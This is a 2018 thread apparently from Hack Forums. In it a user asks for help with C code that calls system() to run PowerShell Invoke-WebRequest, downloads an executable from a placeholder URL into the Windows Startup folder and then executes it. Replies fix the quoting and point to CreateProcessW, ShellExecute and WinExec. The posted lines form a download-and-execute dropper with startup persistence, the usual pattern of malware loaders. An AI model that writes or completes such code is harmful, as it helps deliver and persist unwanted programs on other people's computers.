

Forum:[Hack Forums](#)

Thread: [system\(\) execute a file with spaces](#)

ApexLead - December 5, 2018, 8:24 am

Hello,

I manage to write a file into the startup folder with system(), but when I'm trying to execute that file I get an error, whats the difference and how can I make it work?

Here are the 2 lines of code, the first one works while the second gives an error:

```
Code system("powershell.exe -command Invoke-WebRequest https://example.com/myEXE.exe
-OutFile '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\myEXE.exe");
//Works
system("%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\myEXE.exe"); //Doesn't
work
```

Tried doing this as well:

```
Code system("%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\myEXE.exe");
Thanks in advance!
```

Benoit balls - December 5, 2018, 9:09 am

Escape your backslashes.

And don't use system()

ApexLead - December 5, 2018, 9:16 am

(Dec 5, 2018 10:09 AM)?Leonardo Da Vinci Wrote: [\[CITE\]](#) Escape your backslashes.

And don't use system()

Further explanation please..

TCP - December 5, 2018, 9:33 am

You could use ShellExecute function for this

Benoit balls - December 5, 2018, 9:46 am

https://en.wikipedia.org/wiki/Escape_sequences_in_C

ApexLead - December 5, 2018, 9:54 am

(Dec 5, 2018 10:33 AM)Exp500 Wrote: [\[CITE\]](#) You could use ShellExecute function for this

(Dec 5, 2018 10:46 AM)?Leonardo Da Vinci Wrote: [\[CITE\]](#)

https://en.wikipedia.org/wiki/Escape_sequences_in_C

Is the CreateProcess() function good as well?

Benoit balls - December 5, 2018, 11:22 am

Yes, but check the remarks section for things to avoid.

HFDone - December 5, 2018, 1:58 pm

```
system("%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\myEXE.exe");
```

ShellExecute have more args if you need just to run your file

WinExec <https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-winexec>

ApexLead - December 6, 2018, 1:13 am

(Dec 5, 2018 02:58 PM)HFDone Wrote: [\[CITE\]](#) system("%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\myEXE.exe");

ShellExecute have more args if you need just to run your file
WinExec <https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-winexec>
When I write it like that it says 'C:\Users\User\AppData\Roaming\Microsoft\Windows\Start' is not recognized as an internal or external command, operable program or batch file.'

HFDone - December 6, 2018, 1:52 am

double slashes ? check again my code

ApexLead - December 6, 2018, 1:58 am

(Dec 6, 2018 02:52 AM)HFDone Wrote: [\[CITE\]](#) double slashes ? check again my code
I wrote the code with double slashes, that's the cmd output...

3DES - December 11, 2018, 5:10 am

Use CreateProcessW() (also offers lot more versatility)

system() is bad practice and no point to use it if you are writing on windows

ApexLead - December 11, 2018, 5:45 am

(Dec 11, 2018 06:10 AM)3DES Wrote: [\[CITE\]](#) Use CreateProcessW() (also offers lot more versatility)

system() is bad practice and no point to use it if you are writing on windows
Yep ended up creating it with CreateProcessW(), thanks!